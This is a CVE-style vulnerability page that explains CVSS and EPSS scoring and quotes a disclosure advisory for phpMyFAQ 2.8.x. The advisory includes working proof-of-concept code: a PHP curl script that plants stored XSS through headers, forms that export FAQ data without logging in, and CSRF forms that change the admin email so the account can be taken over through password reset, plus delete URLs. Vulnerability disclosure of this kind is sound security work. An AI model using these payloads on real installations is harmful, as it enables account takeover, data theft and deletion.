Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.0 2.7 LOW CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

High

The attacker is authorized with (i.e. requires) privileges that provide significant (e.g. administrative) control over the vulnerable component that could affect component-wide settings and files.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

None

There is no loss of confidentiality within the impacted component.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

Low

Modification of data is possible, but the attacker does not have control over the consequence of a modification, or the amount of modification is constrained. The data modification does not have a direct, serious impact on the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

#Title: phpMyFAQ 2.8.X - Multiple Vulnerabilities #Vendor: phpmyfaq.de #Date: 04.09.19 #Version: >= 2.8.12 (Latest ATM) #Tested on: Apache 2.2 / PHP 5.4 / Linux #Contact: smash [at] devilteam.pl 1) Persistent XSS Administrator is able to view information about specific user session in 'Statistic' tab. Over there, you may find informations such as user ip, refferer and user agent. For example, to view informations about session with ID 1, you need visit following address: http://localhost/phpmyfaq/admin/?action=viewsession&id=1 Refferer and User Agent variables are not filtered, which allows attacker to inject javascript via those parameters. All you need to do, is to perform particular HTTP request which will contain javascript. For example, if you will produce hundrends of those request, there will be hundrends of Persistent XSS - Victim only needs to visit any of them. PoC: <?php $ch =curl_init("http://localhost/phpmyfaq/index.php"); curl_setopt($ch,CURLOPT_USERAGENT,'<script>alert(666)</script>'); curl_setopt($ch, CURLOPT_REFERER, '<script>alert(123)</script>'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $postResult = curl_exec($ch); curl_close($ch); print "$postResult"; ?> Vuln (viewsession): <tbody> <tr> <td>2014-09-04 02:22:04</td> <td>new_session (0)</td> </tr> <tr> <td>Referer:</td> <td> <a href="<script>alert(123)</script>" target="_blank"> <script>alert(123)</script> </a> </td> </tr> <tr> <td>Browser:</td> <td><script>alert(666)</script></td> </tr> <tr> <td>IP-Address:</td> <td>::1</td> </tr> </tbody> 2) Remote FAQ Disclosure Administrator is able to view or download FAQ data using few extensions (xhtml, xml, pdf). Because of no user restrictions, attacker may reproduce this vulnerability to perform those actions even without having an account. - Download <html> <body> <form action="http://localhost/phpmyfaq/admin/?action=exportfile" method="POST"> <input type="hidden" name="catid" value="0" /> <input type="hidden" name="downwards" value="1" /> <input type="hidden" name="type" value="xml" /> <input type="hidden" name="dispos" value="attachment" /> <input type="hidden" name="submitExport" value="" /> <input type="submit" value="Submit request" /> </form> </body> </html> - View <html> <body> <form action="http://localhost/phpmyfaq/admin/?action=exportfile" method="POST"> <input type="hidden" name="catid" value="0" /> <input type="hidden" name="downwards" value="1" /> <input type="hidden" name="type" value="xml" /> <input type="hidden" name="dispos" value="inline" /> <input type="hidden" name="submitExport" value="" /> <input type="submit" value="Submit request" /> </form> </body> </html> 3) CSRF - Edit user credentials (login/mail) PoC: <html> <body> <form action="http://localhost/phpmyfaq/admin/?action=user&user_action=update_data" method="POST"> <input type="hidden" name="user_id" value="1" /> <input type="hidden" name="user_status" value="active" /> <input type="hidden" name="display_name" value="haked" /> <input type="hidden" name="email" value="[email protected]" /> <input type="hidden" name="last_modified" value="undefined" /> <input type="submit" value="Go" /> </form> </body> </html> By then, you may generate new password for victim using 'Forgot password' option - just provide your email so you can grab it. - Delete user http://localhost/phpmyfaq/admin/index.php?action=ajax&ajax=user&ajaxaction=delete_user&user_id=1 - Delete category http://localhost/phpmyfaq/admin/?action=deletecategory&cat=1&catlang=en -
